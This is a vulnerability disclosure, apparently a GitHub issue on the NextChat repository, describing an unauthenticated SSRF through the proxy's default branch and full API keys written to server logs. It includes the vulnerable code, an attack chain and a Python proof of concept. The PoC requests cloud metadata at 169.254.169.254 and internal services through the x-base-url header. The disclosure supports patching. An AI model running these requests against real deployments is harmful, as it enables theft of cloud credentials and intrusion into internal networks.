ChatGPTNextWeb / ChatGPTNextWeb/NextChat
[Security] Unauthenticated SSRF via Proxy Default Branch (CVSS 8.6) + Server-Side API Key Logging (CVSS 6.4)
- Dominant language
- TypeScript
- Stars
- 88.8k
- Forks
- 59.1k
- PR merge metrics
- No merged PRs in 30d
Description
# ChatGPT-NextWeb: Unauthenticated SSRF via Proxy Default Branch and Server-Side API Key Logging
## Summary
ChatGPT-NextWeb has two confirmed security vulnerabilities in its core proxy and API key management:
1. **Unauthenticated SSRF via Proxy Default Branch (P0):** The `/api/{unknown-provider}/{path}` route's `default` branch calls `proxyHandler()` without any authentication check. Unlike all other provider handlers (OpenAI, Anthropic, Google, etc.) which require `auth()`, the proxy handler accepts requests from anyone. The attacker-controlled `x-base-url` header is directly used to construct the fetch URL, with no URL whitelist, protocol restrictions, or internal IP filtering. Response data is returned to the attacker.
2. **Server-Side API Key Logged in Plaintext (P1):** `server.ts:124-129` logs the complete API key string to stdout on every API key rotation via `console.log()`. No truncation, masking, or redaction is applied. In cloud deployments (Vercel, AWS, GCP), stdout logs are typically collected with long retention, making this a high-value information leak.
## Affected Versions
- ChatGPT-NextWeb (all versions with proxy functionality)
- `app/api/proxy.ts:21-37` (SSRF)
- `app/config/server.ts:124-129` (Key leak)
## CVSS v4.0
**#1 Unauthenticated SSRF: 8.6 (High)**
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N`
**#2 Server-Side API Key Logging: 6.4 (Medium)**
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
## Details
### Vulnerability 1: Unauthenticated SSRF
**File:** `app/api/proxy.ts:21-37`
```typescript
// default branch - NO auth() check
const handler = async (req: Request) => {
try {
return await proxyHandler(req, { params });
} catch (error) {
res.status = 502;
return;
}
};
```
**Contrast:** All known providers call `auth()` before processing:
```typescript
case "openai": return auth(req, ModelProvider.OpenAI);
case "anthropic": return auth(req, ModelProvider.Anthropic);
// ... every other provider has auth()
```
**Attack Chain:**
1. Attacker sends `GET /api/evil/anything HTTP/1.1` with header `x-base-url: http://169.254.169.254/latest/meta-data/`
2. Server hits default branch → `proxyHandler()` → fetches target URL
3. Response (cloud metadata, internal service data) is returned to attacker
### Vulnerability 2: Server-Side API Key Logging
**File:** `app/config/server.ts:124-129`
```typescript
console.log(
`[Server Config] using ${randomIndex + 1} of ${apiKeys.length} api key - ${apiKey}`,
);
```
The `apiKey` variable contains the full API key string with no masking.
## PoC
```python
import requests
TARGET = "https://nextchat.example.com"
# SSRF - access cloud metadata
headers = {"x-base-url": "http://169.254.169.254/latest/meta-data/"}
resp = requests.get(f"{TARGET}/api/evil/anything", headers=headers)
print(resp.text[:500])
# SSRF - internal service scan
headers = {"x-base-url": "http://127.0.0.1:6379/status"}
resp = requests.get(f"{TARGET}/api/internal-api/health", headers=headers)
print(resp.text[:500])
# SSRF - full request/response proxy
headers = {"x-base-url": "http://internal-app:8080/api/users", "Content-Type": "application/json"}
resp = requests.post(f"{TARGET}/api/proxy/users", headers=headers, json={"name": "admin"}, timeout=10)
print(resp.text[:500])
```
## Remediation
1. **SSRF:** Add `auth()` check to the default branch, or add a global middleware that validates authentication for unknown providers.
2. **API Key Logging:** Replace `console.log(apiKey)` with `console.log(apiKey.slice(0, 8) + "***")` to prevent full key exposure.
## References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-532: Exposure of System Information to Unauthorized Actors
## Discoverer
IcySun & Yashon
icysun@qq.com
## CVE Request
We request CVE assignment for both vulnerabilities.
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.